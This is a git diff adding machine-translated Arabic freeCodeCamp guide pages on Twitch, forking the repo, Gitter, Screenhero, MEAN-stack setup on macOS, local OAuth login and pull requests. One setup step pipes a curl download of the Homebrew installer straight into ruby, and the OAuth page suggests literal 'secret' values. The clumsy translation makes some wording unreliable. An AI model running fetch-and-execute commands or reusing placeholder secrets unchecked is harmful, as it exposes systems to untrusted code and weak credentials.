+*   اقرأ [هذه المقالة](https://medium.freecodecamp.com/jump-start-your-local-campsite-with-coffee-and-code-a8d1a57d30e#) ولاحظ ما إذا كان بإمكانك إعداد جلسة "القهوة والكود" لأول مرة في مجموعتك.
+*   بعض [الأفكار حول جذب المزيد من الأشخاص](https://medium.freecodecamp.com/growth-hacking-your-free-code-camp-group-8cf76300a5d1#) إلى مجموعتك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-create-a-twitch-account/index.md b/client/src/guide/arabic/miscellaneous/how-to-create-a-twitch-account/index.md
new file mode 100644
index 0000000000..9dea358993
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-create-a-twitch-account/index.md
@@ -0,0 +1,47 @@
+---
+title: How to Create a Twitch Account
+localeTitle: كيفية إنشاء حساب نشل
+---
+# ما هو Twitch؟
+
+Twitch هو نظام بث فيديو مباشر تم تأسيسه في يونيو 2011. أكثر من 2 مليون شخص يبثون على Twitch كل شهر مع أكثر من 100 مليون زائر فريد.
+
+## انشاء حسابك نوتش
+
+يتيح لك إنشاء حساب مع Twitch التفاعل مع الدردشة ، والحصول على تنبيهات عند قيام شخص ما تعرفه بالتدفق وربما حتى دفق نفسك.
+
+1.  انقر هنا [لإنشاء حساب جديد](https://www.twitch.tv/signup) .
+    
+2.  يجب عليك الآن اختيار اسم مستخدم وكلمة مرور مناسبين.
+    
+
+> ![اسم المستخدم و كلمة السر](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e00617420bb5e757ea3120960c8a99f2b17c230d.gif)
+
+1.  ثم قدم تاريخ ميلادك وعنوان بريدك الإلكتروني.
+
+> من المهم أن تقدم عنوان بريد إلكتروني صحيحًا لأنك ستحتاج هذا لاحقًا للتحقق من حسابك والحصول على تنبيهات عند نشر أحد الأشخاص.
+
+1.  الآن كل ما عليك القيام به هو إكمال اختبار CAPTCHA وأنت على استعداد لموسيقى الروك!
+    
+2.  بمجرد قيامك بالتسجيل ، ستتلقى بريدًا إلكترونيًا يتعلق بالتحقق من حسابك.
+    
+
+### تغيير بعض الإعدادات
+
+بمجرد تسجيل الدخول ، انتقل إلى [صفحة الإعدادات](https://www.twitch.tv/settings) .
+
+في هذه الصفحة ، يمكنك تغيير صورة ملفك الشخصي وعنوان بريدك الإلكتروني وكتابة سيرة ذاتية. للأسف ، لا يسمح لك Twitch بتغيير اسم المستخدم الخاص بك بمجرد قيامك بالتسجيل. ومع ذلك ، يمكنك تغيير الكتابة بالأحرف الكبيرة.
+
+## بعد FreeCodeCamp
+
+### نحن نبتعد الآن عن استخدام Twitch ، سنقوم بتحديث هذه الصفحة بمجرد الانتهاء من التفاصيل.
+
+لمتابعة FreeCodeCamp على Twitch ، انتقل إلى [صفحة القنوات](https://www.twitch.tv/freecodecamp/profile) . اضغط على زر المتابعة وقم بتمكين التنبيهات كما هو موضح أدناه. سيتم الآن إرسال بريد إلكتروني إليك في كل مرة يتم فيها تشغيل FreeCodeCamp.
+
+> ![التالية freecodecamp](//discourse-user-assets.s3.amazonaws.com/original/2X/6/6ac2df7b5472a8c530b1feea677a315fdad2eea2.gif)
+
+### مشاهدة البث السابقة
+
+إذا لم نكن على قيد الحياة ، يمكنك مشاهدة بعض من مجموعات البث السابقة. يتم حفظ عمليات البث السابقة لمدة 14 يومًا فقط بعد أن يتم بثها في الأصل ، لذلك يتم كشف ذلك في الاعتبار.
+
+> ![عرض عمليات البث السابقة](https://i.gyazo.com/976a213442b0a2541b90ae37f38ff043.gif)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md b/client/src/guide/arabic/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md
new file mode 100644
index 0000000000..aebf936bbc
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md
@@ -0,0 +1,74 @@
+---
+title: How to Fork and Maintain a Local Instance of Free Code Camp on Mac and Linux
+localeTitle: كيفية شوكة والحفاظ على مثيل المحلية من مخيم رمز الحرة على ماك ولينكس
+---
+إذا كنت تخطط لكتابة طلب سحب لمختبر Free Code Camp ، فستحتاج بالتأكيد إلى نسخة محلية من الموقع. إن امتلاك نسخة محلية من الموقع سوف يمنحك إمكانات إضافية مع Git غير متوفرة عبر واجهة متصفح GitHub ، بما في ذلك تحديث التقاطعات وطلبات الرفض / الرفض.
+
+سيغطي هذا الدليل كيفية تفرع مشروع FCC ، واستنساخ نسخة محلية ، وكيفية الحفاظ على شوكة الخاص بك. سيتم إعطاء جميع أوامر Git لسطر الأوامر ، والتي نوصي بشدة باستخدامها ، ولكن يمكن تنفيذ معظم الأوامر في بيئة Git رسومية أيضًا.
+
+إذا كنت تستخدم نظام التشغيل Windows ، [فاستخدم هذا الدليل بدلاً من ذلك](https://forum.freecodecamp.com/t/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/19366) .
+
+## تحتاج مساعدة؟
+
+Free Code Camp Issue Mods والموظفون متواجدون لمساعدتك في حل مشكلات الطلب Pull في [غرفة المحادثة للمساهمين](https://gitter.im/FreeCodeCamp/HelpContributors)
+
+## إعداد النظام الخاص بك
+
+1.  قم بتثبيت [Git](https://git-scm.com/) أو عميل Git المفضل لديك
+2.  (اختياري) قم [بإعداد مفتاح SSH](https://help.github.com/articles/generating-ssh-keys/) لـ Github.  
+    يمكن أن يؤدي استخدام SSH إلى زيادة سرعة تفاعلك مع GitHub ، حيث لن تتم مطالبتك بكلمة المرور الخاصة بك.
+3.  قم بإنشاء دليل مشاريع رئيسية على نظامك. لأغراض هذه الوثيقة ، سنفترض أنها `/mean/`
+
+## مخيم Forking Free Code
+
+1.  انتقل إلى المستوى العلوي من مستودع Free Code Camp: `https://github.com/FreeCodeCamp/freecodecamp`
+2.  انقر فوق الزر "Fork" في الزاوية العلوية اليمنى من الواجهة. [مزيد من التفاصيل هنا](https://help.github.com/articles/fork-a-repo/) .
+3.  بعد تفرع المشروع ، سيتم نقلك إلى نسختك من repo FCC على `username/freecodecamp`
+
+## استنساخ شوكة الخاص بك
+
+1.  من شوكة FCC ، قم بنسخ عنوان HTTPS أو SSH (إذا قمت بتثبيت SSH)
+2.  فتح Bash Shell / سطر الأوامر / الطرفية إلى دليل المشاريع الخاصة بك (IE: `/mean/` )
+3.  استنساخ شوكتك من git:
+
+`git clone https://github.com/yourUserName/FreeCodeCamp.git`
+
+سيؤدي هذا إلى تنزيل نسخة FCC الكاملة إلى دليل المشاريع.
+
+`bash $ git clone https://github.com/yourUserName/FreeCodeCamp.git Cloning into 'FreeCodeCamp'... remote: Counting objects: 37294, done. remote: Compressing objects: 100% (13/13), done. remote: Total 37294 (delta 5), reused 0 (delta 0), pack-reused 37281 Receiving objects: 100% (37294/37294), 18.69 MiB | 3.99 MiB/s, done. Resolving deltas: 100% (26053/26053), done. Checking connectivity... done. Checking out files: 100% (573/573), done.`
+
+### إعداد Upstream الخاص بك
+
+1.  تغيير الدليل إلى دليل `FreeCodeCamp` الجديد
+2.  إضافة جهاز تحكم عن بُعد إلى rep FCC الرسمي:
+
+`git remote add upstream https://github.com/FreeCodeCamp/FreeCodeCamp.git`
+
+تهانينا ، لديك الآن نسخة محلية من repo FCC!
+
+## الحفاظ على شوكة الخاص بك
+
+الآن بعد أن أصبح لديك نسخة من شوكة ، هناك عمل ستحتاج إلى القيام به للحفاظ على تواجده.
+
+## Rebasing من Upstream
+
+افعل ذلك في كل مرة قبل إنشاء فرع للعلاقات العامة:
+
+1.  تأكد من أنك في فرع `staging`
+
+`bash $ git status On branch staging Your branch is up-to-date with 'origin/staging'.`
+
+1.  إذا لم تكن على التدريج ، قم بحل أي ملفات / احتفالات معلقة وتسجيل خروج  
+    `git checkout staging`
+2.  قم بسحب مع rebase ضد `upstream` :
+
+`git pull --rebase upstream staging`
+
+سيؤدي ذلك إلى إلغاء جميع التغييرات على التدريج الرسمي دون إجراء التزام إضافي في إعادة الشراء المحلية.  
+4\. (اختياري) قوة دفع التحديث التدريجي الخاص بك إلى شوكة GitHub
+
+`git push origin staging --force`
+
+سيؤدي ذلك إلى الكتابة فوق فرع التدريج على شوكة الخاص بك.
+
+`bash $ git push origin staging --force Counting objects: 99, done. Delta compression using up to 12 threads. Compressing objects: 100% (38/38), done. Writing objects: 100% (38/38), 16.14 KiB | 0 bytes/s, done. Total 38 (delta 25), reused 0 (delta 0) To git@github.com:yourUserName/FreeCodeCamp.git f7a525c..8a2271d staging -> staging`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-get-help-on-gitter/index.md b/client/src/guide/arabic/miscellaneous/how-to-get-help-on-gitter/index.md
new file mode 100644
index 0000000000..76a9776ee0
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-get-help-on-gitter/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Get Help on Gitter
+localeTitle: كيفية الحصول على مساعدة على جيتر
+---
+آسف أنك عالق. لحسن الحظ ، هناك العديد من المعسكرين الذين يتسكعون على Gitter ويمكنهم مساعدتك في حل معظم المشكلات! اتبع هذه الخطوات البسيطة للحصول على المساعدة بسرعة:
+
+1.  اذهب إلى [غرفة المساعدة](https://gitter.im/FreeCodeCamp/Help)
+    
+    *   إذا كانت المشكلة متعلقة بالشفرة ، فاضغط على الكود المسبب للمشاكل في غرفة المحادثة باستخدام [التنسيق الصحيح](http://forum.freecodecamp.com/t/markdown-code-formatting/18391) ووصف المشكلة.
+    *   إذا كانت المشكلة تبدو مع الموقع نفسه ، فقم بنشر لقطة شاشة للمشكلة أو وصفها بشكل جيد.
+2.  تذكر أن الناس هناك معسكرين مثلك تمامًا ، لذا كن مهذبًا!
+    
+3.  إذا حالت مشكلتك حيرة الجميع في Gitter ، فجرّب [البحث عن](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) مشكلتك [على Github](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) لأي شخص نشر موضوعًا مشابهًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-get-help-when-you-are-stuck/index.md b/client/src/guide/arabic/miscellaneous/how-to-get-help-when-you-are-stuck/index.md
new file mode 100644
index 0000000000..98ee9f01fd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-get-help-when-you-are-stuck/index.md
@@ -0,0 +1,15 @@
+---
+title: How to Get Help When You Are Stuck
+localeTitle: كيف تحصل على مساعدة عندما تكون عالقا
+---
+عندما تتعثر ، تذكر: Read-Search-Ask.
+
+1.  **قراءة** الوثائق أو الخطأ
+2.  **بحث** جوجل
+3.  **اطلب من** أصدقائك المساعدة
+
+هذه هي الطريقة الأكثر فاعلية للتعامل مع التمسك بها ، وهي أكثر الأوقات احترامًا لوقت الآخرين أيضًا.
+
+في أغلب الأحيان ، ستحل مشكلتك بعد خطوة واحدة أو خطوتين من هذه الخوارزمية.
+
+لدينا غرفة دردشة خاصة فقط للحصول على المساعدة: [https://gitter.im/freecodecamp/help/](https://gitter.im/freecodecamp/help/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-install-clementinejs/index.md b/client/src/guide/arabic/miscellaneous/how-to-install-clementinejs/index.md
new file mode 100644
index 0000000000..0832c77864
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-install-clementinejs/index.md
@@ -0,0 +1,7 @@
+---
+title: How to Install Clementinejs
+localeTitle: كيفية تثبيت Clementinejs
+---
+Clementine.js هي عبارة عن مؤشر نصفي مصمم خصيصًا لمُعسكرات FCC. يمكن العثور على إرشادات التثبيت الحديثة لبرامج التشغيل الرئيسية الثلاثة (Windows و OS X و Linux) على:
+
+[http://www.clementinejs.com/versions/fcc.html](http://www.clementinejs.com/versions/fcc.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-install-screenhero/index.md b/client/src/guide/arabic/miscellaneous/how-to-install-screenhero/index.md
new file mode 100644
index 0000000000..edf9acce8b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-install-screenhero/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Install Screenhero
+localeTitle: كيفية تثبيت Screenhero
+---
+[تنزيل لنظام Mac](http://links.screenhero.com/e/c/eyJlbWFpbF9pZCI6Ik1qQTNNem9XQkNJQ1pBQUNjd0FYQVZrVEdnRkxNamtfX0JWZEdGVEpSZkVCWlRwbFpXRTBNamM0WVMxaE56SmlMVEV4WlRRdE9HUXpZUzFpWXpVNE1HRTJNalkxTldNNk1UUTJNVEEyQUE9PSIsInBvc2l0aW9uIjowLCJocmVmIjoiaHR0cDovL2RsLnNjcmVlbmhlcm8uY29tL3NtYXJ0ZG93bmxvYWQvZklYQU1UUUJBTEtQQkhQTC9TY3JlZW5oZXJvLnppcD9zb3VyY2U9d2ViIn0=)
+
+[تحميل لنظام التشغيل Windows](http://links.screenhero.com/e/c/eyJlbWFpbF9pZCI6Ik1qQTNNem9XQkNJQ1pBQUNjd0FYQVZrVEdnRkxNamtfX0JWZEdGVEpSZkVCWlRwbFpXRTBNamM0WVMxaE56SmlMVEV4WlRRdE9HUXpZUzFpWXpVNE1HRTJNalkxTldNNk1UUTJNVEEyQUE9PSIsInBvc2l0aW9uIjoxLCJocmVmIjoiaHR0cDovL2RsLnNjcmVlbmhlcm8uY29tL3NtYXJ0ZG93bmxvYWQvZklYQU1UUUJBTEtQQkhQTC9TY3JlZW5oZXJvLXNldHVwLmV4ZSJ9)
+
+يمكنك استخدام Screen Hero لإقران البرنامج مع الأصدقاء الذين تقوم بإجرائهم في غرف المحادثة والمنتدى في Free Code Camp.
+
+لاحظ أنه يجب إنشاء حساب Screen Hero من داخل التطبيق بعد قيامك بتثبيته. وإلا ، إذا حاولت إنشاء حساب على موقع Screen Hero على الويب ، فلن يسمح لك بذلك دون دعوة.
+
+## البرامج البديلة
+
+فيما يلي بدائل أخرى لـ Screenhero كما اقترحها زملائنا المعسكر:
+
+*   [برنامج TeamViewer](https://www.teamviewer.com) (يعمل أيضًا مع Linux)
+*   [سكايب](https://www.skype.com) + [ScreenLeap](https://www.screenleap.com/)
+*   [Codeshare.io](https://codeshare.io/)
+*   [Kobra.io](https://kobra.io/)
+*   [Google Hangouts](https://hangouts.google.com/)
+*   [Jsbin](https://jsbin.com/)
+*   [JSFiddle](https://jsfiddle.net/)
+*   [سحابة 9](https://c9.io)
+*   [ظهر في](https://appear.in)
+*   [Floobits](https://floobits.com/)
+*   [tmate](https://tmate.io) + أداة اتصال ، على سبيل المثال ، [Google Hangouts](https://hangouts.google.com/) ، [Skype](https://www.skype.com) ، [appear.in](https://appear.in)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md b/client/src/guide/arabic/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md
new file mode 100644
index 0000000000..c6311d1290
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md
@@ -0,0 +1,117 @@
+---
+title: How to Install the Mean Stack on Mac Osx
+localeTitle: كيفية تثبيت متوسط ​​المكدس على ماك Osx
+---
+لتثبيت MongoDB ، يجب أن يكون لديك Mac OS X 10.6 (Snow Leopard) أو أعلى. لمعرفة إصدار OS X الذي تملكه ، انقر فوق الرمز in في الزاوية العلوية اليسرى من الشاشة وحدد `About This Mac` .
+
+![:warning:](//forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=2 ":تحذير:") **تحذير: قم** بعمل نسخة احتياطية من جهاز تايم ما قبل تنفيذ أي من الخطوات التالية!
+
+## الخطوة 1: تثبيت MongoDB
+
+أسهل طريقة لتثبيت MongoDB على OS X تستخدم [HomeBrew](http://brew.sh/) . إذا لم تكن قد استخدمت HomeBrew من قبل ، فقم ببساطة بتنفيذ الأمر التالي في نافذة طرفية:
+
+ `ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 
+` 
+
+بعد تثبيت HomeBrew بنجاح ، اتبع الأمر التالي:
+
+ `brew update && brew install mongodb 
+` 
+
+سيقوم برنامج HomeBrew بتثبيت جميع الاعتمادات لك تلقائيًا.
+
+## الخطوة 2: تثبيت Node.js
+
+مرة أخرى ، سوف ندع HomeBrew يقوم بالرفع الثقيل:
+
+ `brew install node 
+` 
+
+يتم بالفعل تضمين الملف القابل للتنفيذ npm في حزمة Node.js.
+
+قبل المتابعة ، دعونا نتأكد من أن وحدات Node.js يمكن العثور عليها من قبل الآخرين ( ![:warning:](//forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=2 ":تحذير:") **تنبيه** : من الأفضل نسخ هذه الأوامر ولصقها ، حيث ستفقد المحتويات الأصلية لملف `.bashrc` إذا قمت بكتابة `>` بدلاً من `>>` ):
+
+ `echo 'export NODE_PATH="./node_modules:/usr/local/lib/node_modules"' >> ~/.bashrc && source ~/.bashrc 
+` 
+
+للتحقق مما إذا كانت التهيئة سارية أم لا ، قم بتنفيذ ما يلي:
+
+ `echo $NODE_PATH 
+` 
+
+يجب أن تشاهد `./node_modules:/usr/local/lib/node_modules` المطبوعة أدناه الأمر الخاص بك.
+
+إذا كنت تستخدم غلافًا مختلفًا عن Bash ، `~/.bashrc` عليك سوى استبدال `~/.bashrc` بملف تهيئة shell.
+
+## الخطوة 3: تثبيت أدوات fullstack
+
+ `npm install -g express yo grunt grunt-cli generator-angular-fullstack bower 
+` 
+
+## الخطوة 4: إنشاء تطبيق fullstack
+
+قم بعمل دليل لمشاريعك في مشروع النهاية الخلفية. بافتراض أن سطح المكتب الخاص بك هو مساحة عملك الفعلية:
+
+ `mkdir ~/Desktop/Back End Projects && cd ~/Desktop/Back End Projects 
+` 
+
+والآن بعد أن أصبحت جميع الاستعدادات جاهزة ، حان الوقت للحدث الرئيسي:
+
+ `yo angular-fullstack 
+` 
+
+أجب على الأسئلة وفقًا لعناصر قائمة التحقق \# 13-23 من [التحدي: الحصول على تعيين لمشاريع النهاية الخلفية](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) . استشر \# 24-27 إذا واجهتك أخطاء. سيؤدي هذا إلى تنزيل ملفات بقيمة 350 ميجابايت في دليلك الحالي.
+
+قبل المتابعة ، نحتاج إلى إصلاح [مشكلة معروفة](https://github.com/clnhll/guidetobasejumps#fixing-exportsupdate) في بعض الملفات التي تم إنشاؤها:
+
+ `echo "sed -i '' -e 's/_.merge/_.extend/' server/api/*/*.controller.js" > \ 
+ fix-exports-update.sh && chmod +x fix-exports-update.sh && \ 
+ ./fix-exports-update.sh 
+` 
+
+تحتاج إلى تشغيل `./fix-exports-update.sh` كل مرة تقوم فيها بإنشاء نقطة نهاية API جديدة (حتى يتم إصلاح هذا المنبع ، أي).
+
+## الخطوة 5: بدء تشغيل مستودع Git المحلي
+
+اخبر Git بعدم تتبع قاعدة البيانات الخاصة بك:
+
+ `echo "data" >> .gitignore 
+` 
+
+قم بإدارة الدليل الذي يوجد فيه تطبيقك في مستودع Git عن طريق تشغيل الأوامر التالية:
+
+ `git init && git add . && git commit -am 'initial commit' 
+` 
+
+## الخطوة 6: بدء تشغيل MongoDB
+
+لبدء MongoDB لأول مرة في دليل التطبيق الخاص بك ، قم بتشغيل الأوامر التالية في الجهاز الخاص بك:
+
+ `mkdir data && echo 'mongod --config /usr/local/etc/mongod.conf --dbpath=data --rest "$@" --httpinterface' > mongod.sh && chmod a+x mongod.sh && ./mongod.sh 
+` 
+
+من هذه النقطة يمكنك ببساطة بدء `./mongod.sh` بتنفيذ `./mongod.sh` . هناك عدد قليل من الأشياء ملاحظة:
+
+*   و `.conf` ملف يوجه `mongod` لكتابة الرسائل إلى ملف السجل بدلا من المعياري. لعرض السجل ، قم بتشغيل التالي في علامة تبويب محطة طرفية منفصلة: `less /usr/local/var/log/mongodb/mongo.log` .
+*   بما أننا لسنا في Cloud9 ، لا نحتاج إلى الخيار `--nojournal` . `mongod` تمكنك من استعادة قاعدة البيانات في حالة حدوث تعطل في `mongod` .
+*   يجب عليك إنشاء قاعدة بيانات نظيفة لكل مشروع. إذا قمت بنسخ دليل `data` من مشروع سابق ، `mongod` تشغيل `mongod` . إذا كان هذا هو الحال ، فقط `rm -rf data && mkdir data && ./mongod.sh` .
+
+## الخطوة 7: بدء تشغيل Grunt
+
+افتح علامة تبويب محطة طرفية جديدة بالضغط على `⌘T` ، ثم قم بتشغيل الأمر التالي:
+
+ `grunt serve 
+` 
+
+يجب أن يقوم Grunt تلقائيًا بفتح صفحة فهرس موقع Angular الجديد الخاص بك بمجرد الانتهاء من بدء التشغيل.
+
+الآن يجب أن تكون قادراً على اتباع بقية تعليمات التحدي للدفع إلى GitHub و Heroku. فقط تجاهل الجزء المتعلق بمفتاح SSH (# 33-36) واستبدل `~/workspace` بمسار دليل التطبيق الخاص بك.
+
+## حاشية
+
+تم اختبار الخطوات المذكورة أعلاه وفقًا للتكوين التالي:
+
+*   OS X 10.10.5
+*   zsh 5.0.8 (x86\_64-apple-darwin14.3.0)
+*   عقدة v0.12.7
+*   npm 2.11.3
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md b/client/src/guide/arabic/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md
new file mode 100644
index 0000000000..43c8eaee01
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-know-who-is-in-charge-of-your-campsite-on-facebook/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Know Who Is in Charge of Your Campsite on Facebook
+localeTitle: كيف تعرف من هو المسؤول عن موقع المخيم الخاص بك على Facebook
+---
+المجتمعات المحلية تتغير باستمرار ، ويمكن أن يكون هناك أكثر من مدير مجتمع متطوع لمدينتك. لكي تصبح مشرفًا في مجموعة Facebook ، اتبع الخطوات أدناه.
+
+كيفية معرفة من هو المسؤول عن المجموعة المحلية الخاصة بك:
+
+*   أولاً ، انقر فوق علامة التبويب أعضاء أسفل صورة الغلاف. ثم انقر على مربع القائمة المنسدلة "كل الأعضاء" \*\*
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cc32710a88436219ac4a02a31e57de577830082b.png)
+
+*   بعد ذلك ، استخدم المربع المنسدل لتحديد "المسؤولون" \*\*
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ca28d984d4ec86bb9fb40326da1c9bb1151ab77c.png)
+
+*   يجب أن تكون الآن قادرًا على رؤية من تم تعيينه كمشرف لمجموعةك المحلية.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/9/946354dab087e439a810937de4332ad5e231ccf2.png)
+
+أرسل رسالة إلى هذا الشخص لتقديم نفسك وإخباره أنك مهتم بأن تكون مشرفًا. بعد ذلك ، يمكنك جدولة الاجتماع الأول.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md b/client/src/guide/arabic/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md
new file mode 100644
index 0000000000..f755378e2a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-log-in-to-your-local-instance-of-free-code-camp/index.md
@@ -0,0 +1,63 @@
+---
+title: How to Log in to Your Local Instance of Free Code Camp
+localeTitle: كيفية تسجيل الدخول إلى مثيلك المحلي من مخيم رمز الحرة
+---
+سيساعدك هذا الدليل على تسجيل الدخول إلى موقع FCC المحلي الخاص بك باستخدام حساب GitHub الخاص بك. يجب أن تكون هذه العملية مماثلة لتسجيل الدخول مع حسابات الوسائط الاجتماعية الأخرى. يفترض هذا الدليل أنك تمتلك نسخة محلية من FCC وتعمل.
+
+## TL، DR
+
+1.  [تسجيل تطبيق OAuth جديد](https://github.com/settings/developers)
+2.  حقل الصفحة الرئيسية: `http://localhost:3000/`
+3.  حقل رد الاتصال: `http://localhost:3000/auth/github/callback`
+4.  نسخ / لصق معرف العميل السري العميل والدخول الى حسابك في `.env` ملف
+5.  استخدم المنفذ 3000 عند عرض موقع FCC المحلي الخاص بك
+
+Free Code Camp Issue Mods والموظفون متواجدون لمساعدتك في حل مشكلات الطلب Pull في [غرفة المحادثة للمساهمين](https://gitter.im/FreeCodeCamp/HelpContributors)
+
+## تنصل
+
+يشير الإخراج من تشغيل `$ gulp` إلى **"منفذ الوصول"** 3001. لقد قمت بتسجيل الدخول بنجاح بنجاح مع GitHub في منفذ 3000 - " **منفذ الوكيل"** . إذا فهمت كيفية تسجيل الدخول باستخدام منافذ أخرى ، يرجى النظر في تقديم طلب سحب على هذا الويكي.
+
+## تسجيل الدخول باستخدام حساب GitHub الخاص بك
+
+1.  [تسجيل تطبيق OAuth جديد](https://github.com/settings/developers) والنقر على **تسجيل تطبيق جديد**
+
+_أو بدلاً من ذلك_ ، انقر فوق **صورة ملف التعريف** الخاص بك => **إعدادات** => **التطبيقات** => **تطبيقات المطور** => **تسجيل التطبيق الجديد**
+
+![تسجيل GitHub OAuth التطبيق](//discourse-user-assets.s3.amazonaws.com/original/2X/5/55f4645c3498ceb8098afe8e8353da8f7c262548.png)
+
+1.  املأ حقول تطبيق OAuth
+    
+    *   **اسم التطبيق** - اختر أي اسم ، مثل `fcc-local`
+        
+    *   **عنوان URL للصفحة الرئيسية** - تم تعيينه على `http://localhost:3000/`
+        
+    *   **وصف التطبيق** - اختياري
+        
+    *   **عنوان URL لاستدعاء التخويل** - تم تعيينه على `http://localhost:3000/auth/github/callback`
+        
+2.  انقر فوق **تسجيل التطبيق** لمشاهدة صفحة التطبيق المسجلة حديثًا مع معرف العميل الخاص بك وسر العميل.
+    
+
+![معرف العميل وسرية العميل](//discourse-user-assets.s3.amazonaws.com/original/2X/c/c43ee37a9f0f228d3663bb28accedc14cca3ff56.png)
+
+1.  قم بنسخ Client ID و Client Client `.env` ملف `.env` .
+
+_ملاحظة: سيكون معرف العميل وسرية العميل قيمًا أبجدية رقمية طويلة._
+
+![تحديث ملف](//discourse-user-assets.s3.amazonaws.com/original/2X/5/549aeaa6ea85e119ba5e978c708dc55c39b134b3.png)
+
+## نصائح
+
+1.  يؤدي إزالة / إلغاء التعطيل مع التعليق إلى حظر الموفر غير المرغوب فيه في موفر [جواز السفر](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/server/passport-providers.js) .
+    
+2.  إضافة SESSION _SECRET و COOKIE_ SECRET في `.env` إذا حصلت على خطأ في جلسة العمل السريعة و cookieParser.
+    
+    `COOKIE_SECRET='secret' SESSION_SECRET='secret'`
+    
+3.  تشغيل `node seed` القيادة قبل تشغيل `gulp` إذا كنت لا تحصل على التحديات.
+    
+
+## تم الانتهاء من
+
+تهانينا! يمكنك الآن بنجاح تسجيل الدخول إلى موقع FCC المحلي الخاص بك باستخدام حساب GitHub الخاص بك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md b/client/src/guide/arabic/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..b223f76be2
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Make a Modal Box with CSS and JavaScript
+localeTitle: كيفية عمل صندوق مشروط مع CSS وجافا سكريبت
+---
+## كيفية عمل صندوق مشروط مع CSS وجافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/miscellaneous/how-to-make-a-modal-box-with-css-and-javascript/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md b/client/src/guide/arabic/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md
new file mode 100644
index 0000000000..56d2ba8357
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-make-a-pull-request-on-free-code-camp/index.md
@@ -0,0 +1,85 @@
+---
+title: How to Make a Pull Request on Free Code Camp
+localeTitle: كيفية عمل طلب سحب على Free Code Camp
+---
+# سحب رمز مخيم طلب
+
+**ما هو طلب السحب؟**
+
+طلب السحب (PR) هو طريقة لتقديم التغييرات المقترحة على Free Code Camp Repo (أو أي Repo ، لهذه المسألة). ستقوم بإجراء تغييرات على نسخ الملفات التي تشكل Free Code Camp في شوكة شخصية ، ثم تقدم بطلب للحصول عليها من قبل Free Code Camp.
+
+## تحتاج مساعدة؟
+
+Free Code Camp Issue Mods والموظفون متواجدون لمساعدتك في حل مشكلات الطلب Pull في [غرفة المحادثة للمساهمين.](https://gitter.im/FreeCodeCamp/Contributors)
+
+## أساليب
+
+هناك طريقتان لإنشاء Pull for Free Code Camp:
+
+1.  تحرير الملفات عبر واجهة GitHub
+2.  تحرير الملفات على نسخة محلية
+
+## هام: تعديل دائمًا على فرع
+
+لنأخذ شيئًا واحدًا فقط من هذا المستند ، يجب أن يكون هذا: لا تُجري أبدًا تعديلات على الفرع `staging` . دائما جعل فرع جديد قبل تحرير الملفات. هذا أمر بالغ الأهمية ، لأنه إذا لم يتم قبول PR الخاص بك ، سيتم طبع نسخة `staging` الخاص بك إلى الأبد والطريقة الوحيدة لإصلاحها هي حذف شوكتك وإعادة شوكة.
+
+## التعديل عبر Local Fork (مستحسن)
+
